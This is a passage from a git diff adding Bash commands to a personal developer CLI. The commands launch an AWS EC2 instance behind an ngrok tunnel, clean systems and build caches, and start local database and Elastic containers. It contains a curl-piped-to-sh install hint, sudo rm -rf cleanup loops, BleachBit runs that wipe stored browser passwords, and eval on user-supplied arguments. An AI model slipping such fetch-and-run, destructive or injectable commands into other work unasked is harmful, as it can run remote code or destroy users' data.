yellow "Attaching the AmazonSSMManagedInstanceCore policy to the role..." + aws --profile "$aws_profile" --region "$aws_region" iam attach-role-policy \ + --role-name AmazonSSMRoleForInstancesQuickSetup \ + --policy-arn arn:aws:iam::aws:policy/AmazonSSMManagedInstanceCore + + yellow "Attaching the AmazonSSMPatchAssociation policy to the role..." + aws --profile "$aws_profile" --region "$aws_region" iam attach-role-policy \ + --role-name AmazonSSMRoleForInstancesQuickSetup \ + --policy-arn arn:aws:iam::aws:policy/AmazonSSMPatchAssociation + + yellow "Creating the AmazonSSMRoleForInstancesQuickSetup instance profile..." + aws --profile "$aws_profile" --region "$aws_region" iam create-instance-profile \ + --instance-profile-name AmazonSSMRoleForInstancesQuickSetup \ + > /dev/null + + yellow "Adding the AmazonSSMRoleForInstancesQuickSetup role to the instance profile..." + aws --profile "$aws_profile" --region "$aws_region" iam add-role-to-instance-profile \ + --instance-profile-name AmazonSSMRoleForInstancesQuickSetup --role-name AmazonSSMRoleForInstancesQuickSetup \ + > /dev/null + sleep 5 +fi + +cyan "Launching an EC2 instance..." +# shellcheck disable=SC2155 +declare instance_id=$({ + aws --profile "$aws_profile" --region "$aws_region" ec2 run-instances \ + --image-id resolve:ssm:/aws/service/ami-amazon-linux-latest/amzn2-ami-hvm-x86_64-gp2 \ + --instance-type t2.micro \ + --count 1 \ + --subnet-id "$subnet_id" \ + --iam-instance-profile Name=AmazonSSMRoleForInstancesQuickSetup \ + --user-data $'#!/bin/bash\nwget https://bin.equinox.io/c/bNyj1mQVY4c/ngrok-v3-stable-linux-amd64.tgz\ntar xvzf ./ngrok-v3-stable-linux-amd64.tgz -C /usr/local/bin' \ + --query Instances[0].InstanceId \ + --output text +}) + +get-instance-state() { + aws --profile "$aws_profile" --region "$aws_region" ec2 describe-instance-status \ + --instance-ids "$instance_id" \ + --query InstanceStatuses[0] |\ + jq '. | {instance: .InstanceStatus.Details[0].Status, system: .SystemStatus.Details[0].Status}' +} + +status_checks=$(get-instance-state) +until [[ $(jq -r '.instance' <<< "$status_checks") == "passed" && $(jq -r '.system' <<< "$status_checks") == "passed" ]]; do + yellow "Waiting for instance to start..." + sleep 1 + status_checks=$(get-instance-state) +done + +green 'Instance is running!' + +yellow "Adding the ngrok authtoken to the instance..." +aws --profile "$aws_profile" --region "$aws_region" ssm start-session \ + --target "$instance_id" \ + --document-name AWS-StartInteractiveCommand \ + --parameters command="ngrok config add-authtoken $ngrok_auth_token" + +yellow 'Starting ngrok tunnel...' +cyan 'The resource will be available at the following URL: ' +cyan_bold "https://$ngrok_url" + +cyan "\nYou will be able to point Postman to the above URL to access the resource." + +yellow_bold "\nPress 'Ctrl+C' to stop the ngrok tunnel and to terminate the EC2 instance." + +red_bold "This information will only be displayed once. Please make a note of it.\n" + +read -rp "To acknowledge receipt and continue, press 'Enter'." /dev/null 2>&1 ); then + sed -i "/AWS_CLI_AUTO_PROMPT=/c\export AWS_CLI_AUTO_PROMPT=$1" ~/.bashrc + fi + + bash -c "export AWS_CLI_AUTO_PROMPT=$1; exec bash" +} + +if [[ -z ${AWS_CLI_AUTO_PROMPT} || $AWS_CLI_AUTO_PROMPT == 'off' ]]; then + set-aws-auto-prompt on +else + set-aws-auto-prompt off +fi diff --git a/src/commands/backup.sh b/src/commands/backup.sh new file mode 100644 index 0000000..5a3f293 --- /dev/null +++ b/src/commands/backup.sh @@ -0,0 +1,42 @@ +# shellcheck disable=SC2154 +declare item="${args[item]}" +declare backup_dest="${args[--backup-dest]}" +declare move="${args[--move]}" + +if [[ $move == 1 ]]; then + if [[ -d $item ]]; then + if [[ -n $backup_dest ]]; then + yellow_bold "Backing up directory to: ${backup_dest}${item}-bak/. Original directory will no longer exist." + mv -f "$item" "${backup_dest}${item}-bak" + else + yellow_bold "Backing up directory to: ${item}-bak/. Original directory will no longer exist." + mv -f "$item" "${item}-bak" + fi + elif [[ -f $item ]]; then + if [[ -n $backup_dest ]]; then + yellow_bold "Creating backup file: ${backup_dest}${item}.bak. Original file will no longer exist." + mv -f "$item" "${backup_dest}${item}.bak" + else + yellow_bold "Creating backup file: ${item}.bak. Original file will no longer exist." + mv -f "$item" "${item}.bak" + fi + fi +else + if [[ -d $item ]]; then + if [[ -n $backup_dest ]]; then + yellow_bold "Backing up directory to: ${backup_dest}${item}-bak/." + cp -rf "$item" "${backup_dest}${item}-bak" + else + yellow_bold "Backing up directory to: ${item}-bak/." + cp -rf "$item" "${item}-bak" + fi + elif [[ -f $item ]]; then + if [[ -n $backup_dest ]]; then + yellow_bold "Creating backup file: ${backup_dest}${item}.bak." + cp -rf "$item" "${backup_dest}${item}.bak" + else + yellow_bold "Creating backup file: ${item}.bak." + cp -rf "$item" "${item}.bak" + fi + fi +fi diff --git a/src/commands/clean/bleachbit.sh b/src/commands/clean/bleachbit.sh new file mode 100644 index 0000000..71d6608 --- /dev/null +++ b/src/commands/clean/bleachbit.sh @@ -0,0 +1,110 @@ +blue_bold "Running BleachBit" + +spinny-start +readarray -t bleachbitCleanList < <(cat <<-EOF + adobe_reader.cache + adobe_reader.mru + adobe_reader.tmp + apt.autoclean + apt.autoremove + apt.clean + apt.package_lists + chromium.cache + chromium.cookies + chromium.dom + chromium.form_history + chromium.history + chromium.passwords + chromium.search_engines + chromium.session + chromium.sync + chromium.vacuum + discord.cache + discord.cookies + discord.history + discord.vacuum + elinks.history + epiphany.cache + epiphany.cookies + epiphany.dom + epiphany.passwords + epiphany.places + evolution.cache + firefox.cache + firefox.cookies + firefox.crash_reports + flash.cache + gedit.recent_documents + gimp.tmp + google_chrome.cache + google_chrome.cookies + google_chrome.dom + google_chrome.form_history + google_chrome.history + google_chrome.passwords + google_chrome.search_engines + google_chrome.session + google_chrome.sync + google_chrome.vacuum + google_earth.temporary_files + google_toolbar.search_history + java.cache + journald.clean + libreoffice.cache + libreoffice.history + openofficeorg.cache + openofficeorg.recent_documents + opera.cache + opera.cookies + opera.dom + opera.form_history + opera.history + opera.passwords + opera.session + opera.vacuum + pidgin.cache + pidgin.logs + realplayer.cookies + realplayer.history + realplayer.logs + rhythmbox.cache + rhythmbox.history + seamonkey.cache + seamonkey.chat_logs + seamonkey.cookies + seamonkey.download_history + seamonkey.history + secondlife_viewer.Cache + secondlife_viewer.Logs + skype.chat_logs + skype.installers + sqlite3.history + system.cache + system.clipboard + system.rotated_logs + system.trash + system.tmp + thumbnails.cache + thunderbird.cache + thunderbird.cookies + thunderbird.index + thunderbird.passwords + thunderbird.vacuum + transmission.history + transmission.torrents + vlc.memory_dump + vlc.mru + wine.tmp + winetricks.temporary_files + x11.debug_logs + EOF + ) + +for cleaner in "${bleachbitCleanList[@]}"; do + blue_bold "Running BleachBit cleaner: $cleaner" + sudo bleachbit -c "$cleaner" +done + +spinny-stop + +green_bold "Finished running BleachBit cleaners" diff --git a/src/commands/clean/build-caches.sh b/src/commands/clean/build-caches.sh new file mode 100644 index 0000000..8c30c98 --- /dev/null +++ b/src/commands/clean/build-caches.sh @@ -0,0 +1,66 @@ +blue_bold "Cleaning build caches" +# shellcheck disable=SC2154 +declare code_directory="${args[code-directory]}" + +readarray -t nodeModulesList < <(find "$code_directory" -type d -name node_modules) +readarray -t buildList < <(find "$code_directory" -type d -name build) +readarray -t outList < <(find "$code_directory" -type d -name out) +readarray -t cdkOutList < <(find "$code_directory" -type d -name cdk.out) +readarray -t pycacheList < <(find "$code_directory" -type d -name __pycache__) +readarray -t cargoList < <(find "$code_directory" -type f -name Cargo.toml -exec dirname {} \;) + +blue_bold "Cleaning 'node_modules' directories..." +spinny-start +for nodeModulesDirectory in "${nodeModulesList[@]}"; do + blue_bold "Cleaning 'node_modules' directory: $nodeModulesDirectory" + sudo rm -rf "$nodeModulesDirectory" +done +spinny-stop + +blue_bold "Cleaning 'build' directories..." +spinny-start +for buildDirectory in "${buildList[@]}"; do + blue_bold "Cleaning 'build' directory: $buildDirectory" + sudo rm -rf "$buildDirectory" +done +spinny-stop + +blue_bold "Cleaning 'out' directories..." +spinny-start +for outDirectory in "${outList[@]}"; do + blue_bold "Cleaning 'out' directory: $outDirectory" + sudo rm -rf "$outDirectory" +done +spinny-stop + +blue_bold "Cleaning 'cdk.out' directories..." +spinny-start +for cdkOutDirectory in "${cdkOutList[@]}"; do + blue_bold "Cleaning 'cdk.out' directory: $cdkOutDirectory" + sudo rm -rf "$cdkOutDirectory" +done +spinny-stop + +blue_bold "Cleaning 'pycache' directories..." +spinny-start +for pycacheDirectory in "${pycacheList[@]}"; do + blue_bold "Cleaning 'pycache' directory: $pycacheDirectory" + sudo rm -rf "$pycacheDirectory" +done +spinny-stop + +blue_bold "Cleaning 'Rust' projects..." +spinny-start +for cargoDirectory in "${cargoList[@]}"; do + blue_bold "Cleaning rust project: $cargoDirectory" + # shellcheck disable=SC2164 + pushd "$cargoDirectory" > /dev/null 2>&1 + cargo clean + # shellcheck disable=SC2164 + popd > /dev/null 2>&1 +done + +blue_bold "Cleaning the ~/.m2/repository cache..." +rm -rf "$HOME"/.m2/repository + +green_bold "Finished cleaning build caches" diff --git a/src/commands/clean/clean_commands.yml b/src/commands/clean/clean_commands.yml new file mode 100644 index 0000000..9a5e7c2 --- /dev/null +++ b/src/commands/clean/clean_commands.yml @@ -0,0 +1,36 @@ +name: clean +help: System cleaning commands +group: Cleaning +expose: always + +commands: + - name: bleachbit + help: |- + Perform a system-wide upkeep cleanup with BleachBit + Note: This will clean Chrome, Opera, and Chromium caches and passwords + dependencies: + bleachbit: Install from 'https://www.bleachbit.org/download' + + - name: docker + help: Clean docker images, containers, and volumes + dependencies: + docker: Install with 'dtools install docker' + + - name: package-caches + help: Clean package manager caches (Debian-based systems only) + filters: + - debian_based_os + + - name: logs + help: Clean up system logs by deleting old logs and clearing the journal + + - name: build-caches + help: Clean all build caches + completions: + - + args: + - name: code-directory + required: true + help: The base directory for all of your code repositories to recursively clean build caches from + examples: + - dtools clean build-caches ~/code diff --git a/src/commands/clean/docker.sh b/src/commands/clean/docker.sh new file mode 100644 index 0000000..0418196 --- /dev/null +++ b/src/commands/clean/docker.sh @@ -0,0 +1,13 @@ +blue_bold "Cleaning docker" + +blue_bold "Pruning Docker images and containers..." +spinny-start +yes | docker system prune -a +spinny-stop + +blue_bold "Pruning Docker volumes..." +spinny-start +yes | docker volume prune +spinny-stop + +green_bold "Finished cleaning Docker" diff --git a/src/commands/clean/logs.sh b/src/commands/clean/logs.sh new file mode 100644 index 0000000..5850805 --- /dev/null +++ b/src/commands/clean/logs.sh @@ -0,0 +1,8 @@ +blue_bold "Cleaning system logs..." + +blue_bold "Vacuuming journal logs older than 3 days..." +sudo journalctl --vacuum-time 3d + +blue_bold "Deleting archived logs..." +sudo find /var/log -type f -name '*.gz' -delete +sudo find /var/log -type f -name '*.1' -delete diff --git a/src/commands/clean/package-caches.sh b/src/commands/clean/package-caches.sh new file mode 100644 index 0000000..f785d07 --- /dev/null +++ b/src/commands/clean/package-caches.sh @@ -0,0 +1,26 @@ +blue_bold "Cleaning packages..." + +blue_bold "Cleaning apt cache..." +sudo apt-get clean +sudo apt-get autoclean +blue_bold "Removing unnecessary apt dependencies..." +sudo apt-get autoremove +sudo apt-get purge + +blue_bold "Cleaning up pip cache..." +pip cache purge +sudo pip cache purge + +if (command -v snap > /dev/null 2>&1); then + blue_bold "Removing disabled snaps..." + set -eu + LANG=en_US.UTF-8 snap list --all |\ + awk '/disabled/{print $1, $3}' |\ + while read -r snapname revision; do + snap remove "$snapname" --revision="$revision" + done + blue_bold "Purging cached Snap versions..." + sudo rm -rf /var/cache/snapd/* +fi + +green_bold "Finished cleaning packages" diff --git a/src/commands/completions.sh b/src/commands/completions.sh new file mode 100644 index 0000000..35a895a --- /dev/null +++ b/src/commands/completions.sh @@ -0,0 +1 @@ +send_completions diff --git a/src/commands/date-to-epoch.sh b/src/commands/date-to-epoch.sh new file mode 100644 index 0000000..4360b96 --- /dev/null +++ b/src/commands/date-to-epoch.sh @@ -0,0 +1,8 @@ +# shellcheck disable=SC2154 +datetime="${args[timestamp]}" + +if [[ $datetime == "-" ]]; then + date +"%s%3N" -f - +else + date -d "$datetime" +"%s%3N" +fi diff --git a/src/commands/date-to-iso-8601.sh b/src/commands/date-to-iso-8601.sh new file mode 100644 index 0000000..3936fd1 --- /dev/null +++ b/src/commands/date-to-iso-8601.sh @@ -0,0 +1,8 @@ +# shellcheck disable=SC2154 +datetime="${args[date]}" + +if [[ $datetime == "-" ]]; then + date -u +"%Y-%m-%dT%H:%M:%S.%3NZ" -f - +else + date -u +"%Y-%m-%dT%H:%M:%S.%3NZ" -d "$datetime" +fi diff --git a/src/commands/db/bigquery.sh b/src/commands/db/bigquery.sh new file mode 100644 index 0000000..f60f516 --- /dev/null +++ b/src/commands/db/bigquery.sh @@ -0,0 +1,14 @@ +set -e + +# shellcheck disable=SC2154 +declare gcp_location="${args[--location]}" +# shellcheck disable=SC2154 +declare gcp_project="${args[--project]}" + +validate-or-refresh-gcp-auth + +if [[ -n $gcp_location ]]; then + harlequin -a bigquery --project "$gcp_project" --location "$gcp_location" +else + harlequin -a bigquery --project "$gcp_project" +fi diff --git a/src/commands/db/db_commands.yml b/src/commands/db/db_commands.yml new file mode 100644 index 0000000..6737204 --- /dev/null +++ b/src/commands/db/db_commands.yml @@ -0,0 +1,133 @@ +name: db +help: Database commands +group: Database +expose: always +dependencies: + harlequin: Install with 'curl -LsSf https://astral.sh/uv/install.sh | sh' + docker: Install with 'dtools install docker' + db2dbml: Install with 'npm install -g @dbml/cli' + +commands: + - name: postgres + help: |- + Start an interactive Docker container with psql to experiment with PostgreSQL. + The default password is 'password'. + + The current directory is also mounted as a read-only volume under '/data' to run scripts. + filters: + - postgres_not_running + flags: + - long: --dump + help: Dump the persistent DB into a single large SQL script + conflicts: + [ + --tui, + --persistent, + --wipe-persistent-data, + --dump-to-dbml, + --schema, + ] + + - long: --persistent-dir-prefix + arg: persistent_dir_prefix + help: Specify the persistence directory ($HOME/.db/postgres/) to load/wipe the DB from + default: 'default' + completions: + - $(ls -1 $HOME/.db/postgres/) + + - long: --dump-to-dbml + help: Dumps the persistent DB into DBML to be imported into dbdiagram.io + conflicts: [--tui, --persistent, --wipe-persistent-data, --dump] + + - long: --schema + short: -s + help: Specify the schema to dump + needs: [--dump-to-dbml, --database] + conflicts: [--dump] + arg: schema + repeatable: true + unique: true + + - long: --tui + help: Open the DB in a TUI (harlequin) + conflicts: [--dump] + + - long: --persistent + help: Persist the DB data to disk (persists to ~/.db/postgres) + conflicts: [--dump] + + - long: --wipe-persistent-data + help: Wipe any persistent data from the disk before starting the container + conflicts: [--dump] + needs: [--persistent] + + - long: --database + help: Specify the name of the databaose to use + arg: database + + - long: --port + help: Specify the host port to expose the DB on + default: '5432' + arg: port + + - name: mysql + help: |- + Start an interactive Docker container with mysql to experiment with MySQL. + The default password is 'password'. + + The current directory is also mounted as a read-only volume under '/app' to run scripts. + filters: + - mysql_not_running + flags: + - long: --persistent-dir-prefix + arg: persistent_dir_prefix + help: Specify the persistence directory ($HOME/.db/mysql/) to load/wipe the DB from + default: 'default' + completions: + - $(ls -1 $HOME/.db/mysql/) + + - long: --dump + help: Dump the persistent DB into a single large SQL script + conflicts: [--tui, --persistent, --wipe-persistent-data, --dump-to-dbml] + + - long: --dump-to-dbml + help: Dumps the persistent DB into DBML to be imported into dbdiagram.io + conflicts: [--tui, --persistent, --wipe-persistent-data, --dump] + + - long: --tui + help: Open the DB in a TUI (harlequin) + conflicts: [--dump] + + - long: --persistent + help: Persist the DB data to disk (persists to ~/.db/mysql) + conflicts: [--dump] + + - long: --wipe-persistent-data + help: Wipe any persistent data from the disk before starting the container + conflicts: [--dump] + needs: [--persistent] + + - long: --database + help: Specify the name of the databaose to use + arg: database + + - long: --port + help: Specify the host port to expose the DB on + default: '3306' + arg: port + + - name: bigquery + help: |- + Start a Harlequin session to big query using the specified project + flags: + - long: --project + short: -p + help: The GCP project to use + arg: project + required: true + - long: --location + short: -l + arg: location + help: The GCP location to use + allowed: + import: src/components/gcp/allowed_locations.yml diff --git a/src/commands/db/mysql.sh b/src/commands/db/mysql.sh new file mode 100644 index 0000000..447f9d0 --- /dev/null +++ b/src/commands/db/mysql.sh @@ -0,0 +1,70 @@ +set -e +trap "docker stop mysql > /dev/null 2>&1" EXIT + +# shellcheck disable=SC2154 +declare db="${args[--database]}" +declare port="${args[--port]}" +declare persistent_dir_prefix="${args[--persistent-dir-prefix]}" +declare data_dir="${HOME}/.db/mysql/$persistent_dir_prefix" + +[[ -d $data_dir ]] || mkdir -p "$data_dir" + +start-persistent-mysql-container() { + docker run -d --rm \ + -v ".:/app:ro" \ + -v "$data_dir:/var/lib/mysql" \ + -p "$port:3306" \ + --name mysql \ + -e MYSQL_ROOT_PASSWORD=password \ + mysql +} + +if [[ ${args[--wipe-persistent-data]} == 1 ]]; then + yellow "Removing persisted data from: $data_dir..." + rm -rf "$data_dir" +fi + +if [[ "${args[--persistent]}" == 1 ]]; then + start-persistent-mysql-container + spinny-start +elif [[ "${args[--dump]}" == 1 || "${args[--dump-to-dbml]}" == 1 ]]; then + start-persistent-mysql-container > /dev/null 2>&1 +else + docker run -d --rm \ + -v ".:/app:ro" \ + -p "$port:3306" \ + --name mysql \ + -e MYSQL_ROOT_PASSWORD=password \ + mysql + + spinny-start +fi + +sleep 10 + +# shellcheck disable=SC2154 +if [[ "${args[--tui]}" == 1 ]]; then + spinny-stop + if [[ -z $db ]]; then + harlequin -a mysql -h localhost -p "$port" -U root --password password + else + harlequin -a mysql -h localhost -p "$port" -U root --password password --database "$db" + fi +elif [[ "${args[--dump]}" == 1 ]]; then + if [[ -z $db ]]; then + docker exec mysql mysqldump --protocol=tcp -u root -P "$port" --password=password --no-data --all-databases + else + docker exec mysql mysqldump --protocol=tcp -u root -P "$port" --password=password --no-data --databases "$db" + fi +elif [[ "${args[--dump-to-dbml]}" == 1 ]]; then + if [[ -z $db ]]; then + env NODE_NO_WARNINGS=1 db2dbml mysql "mysql://root:password@localhost:$port" + rm -rf dbml-error.log + else + env NODE_NO_WARNINGS=1 db2dbml mysql "mysql://root:password@localhost:$port/$db" + rm -rf dbml-error.log + fi +else + spinny-stop + docker exec -it mysql mysql -u root --password=password +fi diff --git a/src/commands/db/postgres.sh b/src/commands/db/postgres.sh new file mode 100644 index 0000000..644acf8 --- /dev/null +++ b/src/commands/db/postgres.sh @@ -0,0 +1,64 @@ +set -e +trap "docker stop postgres > /dev/null 2>&1" EXIT + +# shellcheck disable=SC2154 +declare db="${args[--database]}" +declare port="${args[--port]}" +declare persistent_dir_prefix="${args[--persistent-dir-prefix]}" +declare data_dir="${HOME}/.db/postgres/$persistent_dir_prefix" +eval "schema=(${args[--schema]:-})" + +[[ -d $data_dir ]] || mkdir -p "$data_dir" + +start-persistent-postgres-container() { + docker run -d --rm \ + -v ".:/data" \ + -v "$data_dir:/var/lib/postgresql" \ + -p "$port:5432" \ + --name postgres \ + -e POSTGRES_PASSWORD=password \ + postgres +} + +if [[ ${args[--wipe-persistent-data]} == 1 ]]; then + yellow "Removing persisted data from: $data_dir..." + sudo rm -rf "$data_dir" +fi + +if [[ "${args[--persistent]}" == 1 ]]; then + start-persistent-postgres-container + spinny-start +elif [[ "${args[--dump]}" == 1 || "${args[--dump-to-dbml]}" == 1 ]]; then + start-persistent-postgres-container > /dev/null 2>&1 +else + docker run -d --rm \ + -v ".:/data" \ + -p "$port:5432" \ + --name postgres \ + -e POSTGRES_PASSWORD=password \ + postgres + + spinny-start +fi + +sleep 3 + +# shellcheck disable=SC2154 +if [[ "${args[--tui]}" == 1 ]]; then + spinny-stop + harlequin -a postgres "postgres://postgres:password@localhost:$port/$db" -f . +elif [[ "${args[--dump]}" == 1 ]]; then + docker exec postgres pg_dump -U postgres -s -F p -E UTF-8 +elif [[ "${args[--dump-to-dbml]}" == 1 ]]; then + if [[ "${#schema[@]}" != 0 ]]; then + schemas_parameter="schemas=$(echo -n "${schema[*]}" | tr ' ' ',')" + env NODE_NO_WARNINGS=1 db2dbml postgres "postgresql://postgres:password@localhost:$port/$db?$schemas_parameter" + rm -rf dbml-error.log + else + env NODE_NO_WARNINGS=1 db2dbml postgres "postgresql://postgres:password@localhost:$port/$db" + rm -rf dbml-error.log + fi +else + spinny-stop + docker exec -it postgres psql -U postgres +fi diff --git a/src/commands/document/convert.sh b/src/commands/document/convert.sh new file mode 100644 index 0000000..d60b8d3 --- /dev/null +++ b/src/commands/document/convert.sh @@ -0,0 +1,10 @@ +# shellcheck disable=SC2154 +declare file="${args[file]}" +# shellcheck disable=SC2154 +declare source_format="${args[--source-format]}" +# shellcheck disable=SC2154 +declare target_format="${args[--target-format]}" +# shellcheck disable=SC2154 +declare output_file="${args[--output-file]:-${PWD}/${file%%."${source_format}"}.${target_format}}" + +pandoc -f "$source_format" -t "$target_format" -o "$output_file" "$file" -V geometry:margin=1in diff --git a/src/commands/document/decrypt-pdf.sh b/src/commands/document/decrypt-pdf.sh new file mode 100644 index 0000000..9a2175a --- /dev/null +++ b/src/commands/document/decrypt-pdf.sh @@ -0,0 +1,6 @@ +# shellcheck disable=SC2154 +declare input_file="${args[input-file]}" +# shellcheck disable=SC2154 +declare output_file="${args[--output-file]}" + +qpdf --decrypt "$input_file" "$output_file" diff --git a/src/commands/document/document_commands.yml b/src/commands/document/document_commands.yml new file mode 100644 index 0000000..8589bdf --- /dev/null +++ b/src/commands/document/document_commands.yml @@ -0,0 +1,77 @@ +name: document +help: Commands for manipulating documents +group: Documents +expose: always + +commands: + - name: convert + help: Convert any given document into any other supported format using pandoc + dependencies: + pandoc: Install with 'brew install pandoc' + args: + - name: file + required: true + help: The file to convert + flags: + - long: --source-format + help: The format of the source file + required: true + arg: source_format + allowed: + import: src/components/documents/allowed_pandoc_source_formats.yml + - long: --target-format + help: The target format of the output file + required: true + arg: target_format + allowed: + import: src/components/documents/allowed_pandoc_target_formats.yml + - long: --output-file + arg: output_file + help: The output file with the extension (defaults to /.$) + completions: + - + - + completions: + - + - + + - name: merge-pdf + help: Merge a list of PDFs into a single PDF file + dependencies: + pdftk: Install with 'brew install pdftk-java' + args: + - name: output-file + help: The name of the output PDF file name + required: true + flags: + - long: --input-file + short: -i + arg: input_file + help: An input file to merge into a single PDF + repeatable: true + completions: + - + - + completions: + - + - + + - name: decrypt-pdf + help: Decrypt a PDF so it can be manipulated via CLI tools + dependencies: + qpdf: Install with 'brew install qpdf' + args: + - name: input-file + help: The PDF you wish to decrypt + required: true + flags: + - long: --output-file + arg: output_file + required: true + help: The name of the output decrypted PDF file + completions: + - + - + completions: + - + - diff --git a/src/commands/document/merge-pdf.sh b/src/commands/document/merge-pdf.sh new file mode 100644 index 0000000..560297c --- /dev/null +++ b/src/commands/document/merge-pdf.sh @@ -0,0 +1,6 @@ +# shellcheck disable=SC2154 +declare output_file="${args[output-file]}" +# shellcheck disable=SC2154 +eval "input_files=(${args[--input-file]:-})" + +pdftk ${input_files[*]} output "$output_file" diff --git a/src/commands/elastic/elastic_commands.yml b/src/commands/elastic/elastic_commands.yml new file mode 100644 index 0000000..ab1499e --- /dev/null +++ b/src/commands/elastic/elastic_commands.yml @@ -0,0 +1,23 @@ +name: elastic +help: Elastic Stack commands +group: Elastic +expose: always +dependencies: + docker: Install with 'dtools install docker' + docker-compose: Install with 'dtools install docker' + git: Install with 'brew install git' + +commands: + - name: init + help: Initialize a local Elastic Stack (Elasticsearch + Kibana + Logstash) + + - name: start + help: |- + Start a local Elastic Stack (Elasticsearch + Kibana + Logstash) + Default credentials: + + Username: elastic + Password: changeme + + - name: stop + help: Stop a locally running Elastic Stack (Elasticsearch + Kibana + Logstash) diff --git a/src/commands/elastic/init.sh b/src/commands/elastic/init.sh new file mode 100644 index 0000000..5458d27 --- /dev/null +++ b/src/commands/elastic/init.sh @@ -0,0 +1,15 @@ +declare current_dir="$PWD" + +[[ -d $HOME/Applications ]] || mkdir "$HOME"/Applications +cd "$HOME"/Applications || exit + +[[ -d $HOME/Applications/docker-elk ]] || git clone https://github.com/deviantony/docker-elk.git +cd docker-elk || exit + +blue "Build the docker-elk stack just in case a pre-existing version of Elasticsearch needs its nodes upgraded" +docker-compose build + +blue "Start the docker-elk setup container" +docker-compose up setup + +cd "$current_dir" || exit diff --git a/src/commands/elastic/start.sh b/src/commands/elastic/start.sh new file mode 100644 index 0000000..b3f8dba --- /dev/null +++ b/src/commands/elastic/start.sh @@ -0,0 +1,12 @@ +declare current_dir="$PWD" + +cd "$HOME"/Applications/docker-elk || exit + +blue "Start the docker-elk stack" +docker-compose up -d + +yellow_bold "\n\n\nDefault credentials:" +yellow "Username: elastic" +yellow "Password: changeme" + +cd "$current_dir" || exit diff --git a/src/commands/elastic/stop.sh b/src/commands/elastic/stop.sh new file mode 100644 index 0000000..c483ae0 --- /dev/null +++ b/src/commands/elastic/stop.sh @@ -0,0 +1,8 @@ +declare current_dir="$PWD" + +cd "$HOME"/Applications/docker-elk || exit + +blue "Stop the docker-elk stack" +docker-compose down + +cd "$current_dir" || exit diff --git a/src/commands/epoch-to-date.sh b/src/commands/epoch-to-date.sh new file mode 100644 index 0000000..d08bcc4 --- /dev/null +++ b/src/commands/epoch-to-date.sh @@ -0,0 +1,13 @@ +# shellcheck disable=SC2154 +epoch="${args[epoch]}" + +convert-epoch() { + awk '{print substr($0, 0, length($0)-3) "." substr($0, length($0)-2);}' <<< "$1" +} + +if [[ $epoch == "-" ]]; then + read epoch_stdin + date -u -d "@$(convert-epoch "$epoch_stdin")" +"%Y-%m-%d %H:%M:%S" +else + date -u -d "@$(convert-epoch "$epoch")" +"%Y-%m-%d %H:%M:%S" +fi diff --git a/src/commands/fzf.sh b/src/commands/fzf.sh new file mode 100644 index 0000000..3317a9c --- /dev/null +++ b/src/commands/fzf.sh @@ -0,0 +1,13 @@ +set -eo pipefail +# shellcheck disable=SC2154 +declare pre_processing_pipe="${args[--pre-processing]}" +declare target_command="${args[command]}" +declare additional_xargs_arguments="${args[--additional-xargs-arguments]}" + +if [[ -z $pre_processing_pipe ]]; then + # shellcheck disable=SC2154 + eval "fzf --print0 --preview 'batcat {} --style=numbers --color=always' --height=75% --multi --bind '?:toggle-preview,ctrl-a:select-all' --preview-window hidden | xargs -0 $additional_xargs_arguments -o $target_command" +else + # shellcheck disable=SC2154 + eval "fzf --print0 --preview 'batcat {} --style=numbers --color=always' --height=75% --multi --bind '?:toggle-preview,ctrl-a:select-all' --preview-window hidden | $pre_processing_pipe | xargs -0 $additional_xargs_arguments -o $target_command" +fi diff --git a/src/commands/gcp/artifacts/artifacts_commands.yml b/src/commands/gcp/artifacts/artifacts_commands.yml new file mode 100644 index 0000000..7b13fb2 --- /dev/null +++ b/src/commands/gcp/artifacts/artifacts_commands.yml @@ -0,0 +1,32 @@ +name: artifacts +help: GCP Artifact Registry commands +group: Artifact Registry +expose: always +dependencies: + gcloud: Install the latest version following the instructions at 'https://docs.cloud.google.com/sdk/docs/install' + jq: Install using 'brew install jq' + +commands: + - name: list-repositories + help: List all repositories in artifact registry for the specified project and location + filters: + - project_and_location_variables_set_with_flags + flags: + - import: src/components/gcp/project_flag.yml + - import: src/components/gcp/location_flag.yml + + - name: list-images + help: List all images contained with the specified artifact registry repository + args: + - name: repository_name + required: true + help: The GCP docker repository whose images you wish to list + filters: + - project_and_location_variables_set_with_flags + flags: + - import: src/components/gcp/project_flag.yml + - import: src/components/gcp/location_flag.yml + - long: --detailed + help: Output the images with full details in JSON format + examples: + - dtools gcp artifacts list-images serving-docker diff --git a/src/commands/gcp/artifacts/list-images.sh b/src/commands/gcp/artifacts/list-images.sh new file mode 100644 index 0000000..abf6306 --- /dev/null +++ b/src/commands/gcp/artifacts/list-images.sh @@ -0,0 +1,13 @@ +# shellcheck disable=SC2155 +declare gcp_project="$(get-gcp-project)" +declare gcp_location="$(get-gcp-location)" +# shellcheck disable=SC2154 +declare repository_name="${args[repository_name]}" + +validate-or-refresh-gcp-auth + +if [[ "${args[--detailed]}" == 1 ]]; then + gcloud artifacts docker images list "$gcp_location-docker.pkg.dev/$gcp_project/$repository_name" --format json +else + gcloud artifacts docker images list "$gcp_location-docker.pkg.dev/$gcp_project/$repository_name" 2>&1 | awk 'NR > 3 {print $1}' | xargs -I{} basename {} +fi diff --git a/src/commands/gcp/artifacts/list-repositories.sh b/src/commands/gcp/artifacts/list-repositories.sh new file mode 100644 index 0000000..ed0fa44 --- /dev/null +++ b/src/commands/gcp/artifacts/list-repositories.sh @@ -0,0 +1,7 @@ +# shellcheck disable=SC2155 +declare gcp_location="$(get-gcp-location)" +declare gcp_project="$(get-gcp-project)" + +validate-or-refresh-gcp-auth + +gcloud artifacts repositories list --project "$gcp_project" --location "$gcp_location" --format json 2> /dev/null | jq -r '.[] | .name' | awk -F/ '{printf("%-20s %-15s\n", $6, $4)}' diff --git a/src/commands/gcp/gcp_commands.yml b/src/commands/gcp/gcp_commands.yml new file mode 100644 index 0000000..b10c3c9 --- /dev/null +++ b/src/commands/gcp/gcp_commands.yml @@ -0,0 +1,62 @@ +name: gcp +help: GCP commands +group: GCP +expose: always +dependencies: + gcloud: Install the latest version following the instructions at 'https://docs.cloud.google.com/sdk/docs/install' + +commands: + - name: login + help: |- + Log in to GCP using SSO. + This command will also set your 'GCP_PROJECT' and 'GCP_LOCATION' environment variables. + + This command is essentially a shorthand for the following commands: + dtools gcp project + dtools gcp location + gcloud auth login + gcloud auth application-default login + filters: + - project_and_location_variables_set_with_flags + flags: + - import: src/components/gcp/project_flag.yml + - import: src/components/gcp/location_flag.yml + examples: + - dtools gcp login -p lab -r us-central1 + - dtools gcp login --project prod --location africa-south1 + - |- + # When the 'GCP_PROJECT' and 'GCP_LOCATION' environment variables are already + # set + dtools 